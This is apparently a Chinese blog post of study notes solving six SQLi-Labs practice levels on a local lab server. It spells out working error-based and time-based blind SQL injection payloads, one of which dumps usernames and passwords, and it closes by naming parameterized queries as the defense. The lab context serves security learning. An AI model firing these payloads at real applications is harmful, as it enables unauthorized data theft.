SQLi-Labs 六关 SQL 注入过关笔记

实验环境:Ubuntu 虚拟机 + SQLi-Labs + Firefox + HackBar

靶场地址示例:http://192.168.101.136/sqli/

本笔记仅用于本人搭建并授权测试的本地靶场。


一、实验前说明

在 Firefox 中打开对应关卡,例如:

复制代码
http://192.168.101.136/sqli/Less-1/?id=1

打开 HackBar 后,把完整 URL 或 id= 后面的 Payload 填入并执行。

常用说明:

  • --+:注释后面的原 SQL。

  • %23# 的 URL 编码,--+ 不生效时可尝试。

  • database():获取当前数据库名。

  • extractvalue():制造 XPath 报错,并把查询结果显示在错误信息中。

  • 0x7e:字符 ~,便于识别查询结果。

  • 截图快捷键:Win + Shift + S


第一关:Less-1

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

id 被单引号包围,因此属于单引号字符型注入

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-1/?id=1

测试单引号

复制代码
http://192.168.101.136/sqli/Less-1/?id=1'

出现 SQL 语法错误,说明输入进入了 SQL。

获取数据库名

HackBar Payload:

复制代码
1' AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

复制代码
http://192.168.101.136/sqli/Less-1/?id=1%27%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

其中 security 是当前数据库名。

3. 截图

4. 一句话总结

Less-1 的重点是:闭合单引号,再利用报错函数显示数据库名。


第二关:Less-2

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id=$id LIMIT 0,1;

id 外面没有引号,因此属于数字型注入

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-2/?id=1

获取数据库名

HackBar Payload:

复制代码
1 AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-2/?id=1%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

3. 截图

4. 一句话总结

Less-2 的重点是:数字型参数不需要闭合单引号。


第三关:Less-3

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;

输入值外面既有单引号,又有括号,因此需要闭合:

复制代码
')

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-3/?id=1

测试闭合

复制代码
1')--+

获取数据库名

HackBar Payload:

复制代码
1') AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-3/?id=1%27)%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

3. 截图

4. 一句话总结

Less-3 的重点是:同时闭合单引号和右括号。


第四关:Less-4

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id=("$id") LIMIT 0,1;

输入值外面是双引号和括号,因此需要闭合:

复制代码
")

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-4/?id=1

测试闭合

复制代码
1")--+

获取数据库名

HackBar Payload:

复制代码
1") AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-4/?id=1%22)%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

3. 截图

4. 一句话总结

Less-4 的重点是:使用双引号和右括号闭合,不能照搬 Less-3。


第五关:Less-5

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

它和 Less-1 一样属于单引号字符型,但正常查询时不会直接显示用户名和密码。

特点是:

复制代码
正常数据不回显
数据库错误可以回显

因此 Less-5 适合练习报错注入

2. 操作步骤

正常访问

sql 复制代码
http://192.168.101.136/sqli/Less-5/?id=1

页面通常只显示:

复制代码
You are in...........

获取数据库名

复制代码
1' AND extractvalue(1,concat(0x7e,database(),0x7e))--+

预期看到:

复制代码
XPATH syntax error: '~security~'

获取当前数据库中的表名

sql 复制代码
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))--+

预期可能看到:

复制代码
emails,referers,uagents,users

获取 users 表的字段名

sql 复制代码
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),0x7e))--+

预期可能看到:

复制代码
id,username,password

可选:查看 SQLi-Labs 自带练习数据

复制代码
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM users),0x7e))--+

其中 0x3a 代表冒号 :

报错信息长度有限,只显示部分内容属于正常情况。

3. 截图

4. 一句话总结

Less-5 的重点是:正常数据不显示,但可以让数据库通过错误信息显示数据库名、表名和字段名。


第六关:Less-9

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

Less-9 页面不会显示查询数据,也不会显示数据库错误,因此属于时间盲注

判断方法是:

  • 条件为真:数据库延迟。

  • 条件为假:数据库快速返回。

2. 操作步骤

正常访问

sql 复制代码
http://192.168.101.136/sqli/Less-9/?id=1

真条件测试

HackBar Payload:

复制代码
1' AND IF(1=1,SLEEP(5),0)--+

完整 URL:

复制代码
http://192.168.101.136/sqli/Less-9/?id=1%27%20AND%20IF(1=1,SLEEP(5),0)--+

页面应延迟约 5 秒。

假条件测试

HackBar Payload:

复制代码
1' AND IF(1=2,SLEEP(5),0)--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-9/?id=1%27%20AND%20IF(1=2,SLEEP(5),0)--+

页面应快速返回。

验证数据库名是否为 security

复制代码
1' AND IF(database()='security',SLEEP(5),0)--+

如果延迟约 5 秒,说明当前数据库名是 security

3. 截图

4. 一句话总结

Less-9 的重点是:页面没有回显时,通过响应时间判断 SQL 条件真假。


七、六关对比表

关卡 参数类型 闭合方式 主要练习内容
Less-1 单引号字符型 ' 基础报错注入
Less-2 数字型 无引号 数字型注入
Less-3 字符型加括号 ') 单引号和括号闭合
Less-4 双引号加括号 ") 双引号和括号闭合
Less-5 单引号字符型 ' 报错获取库名、表名和字段名
Less-9 单引号字符型 ' 时间盲注

八、常见错误

1. Less-2 多加单引号

错误:

复制代码
1' AND ...

正确:

复制代码
1 AND ...

2. Less-3 忘记闭合括号

错误:

复制代码
1' AND ...

正确:

复制代码
1') AND ...

3. Less-4 使用了单引号

错误:

复制代码
1') AND ...

正确:

复制代码
1") AND ...

4. 注释符不生效

优先使用:

复制代码
--+

如果不生效,尝试:

复制代码
%23

5. extractvalue 不可用

可尝试:

复制代码
updatexml(1,concat(0x7e,database(),0x7e),1)

例如 Less-5:

复制代码
1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+

九、学习总结

六关的核心区别:

复制代码
Less-1:单引号
Less-2:数字型
Less-3:单引号加括号
Less-4:双引号加括号
Less-5:报错注入
Less-9:时间盲注

正确的解题思路:

复制代码
查看原 SQL
→ 判断数字型或字符型
→ 判断引号和括号
→ 正确闭合
→ 加入报错函数或延时函数
→ 使用 HackBar 发送
→ 观察结果
→ 截图记录

最根本的防御方式是参数化查询,不能直接把用户输入拼接进 SQL。

相关推荐
晓子文集1 小时前
Tushare接口文档:现金流量表(cashflow)
大数据·数据库·大模型·金融数据·量化投资·tushare
筱谙1 小时前
BES BLE CTKD 完整学习笔记
笔记·学习
会编程的土豆1 小时前
数据库mysql八股
数据库·笔记·八股
数据皮皮侠AI1 小时前
退市监督数据(2000-2024)
大数据·人工智能·笔记·机器学习·回归
nVisual1 小时前
巡检任务与工单闭环方案
运维·服务器·数据库·数据中心基础设施
施嘉伟2 小时前
它以为自己连的是MongoDB
数据库·mongodb
承渊政道2 小时前
从设备数据到AI洞察:时序数据的多模融合实践
数据库·人工智能·性能优化·金仓数据库·多模融合
科技圈快迅2 小时前
2026年数据库国产化替代性能调优方法论:从SQL基线建立到持续优化的全流程体系
数据库·sql
你有我备注吗2 小时前
SQL之数据更新
数据库·sql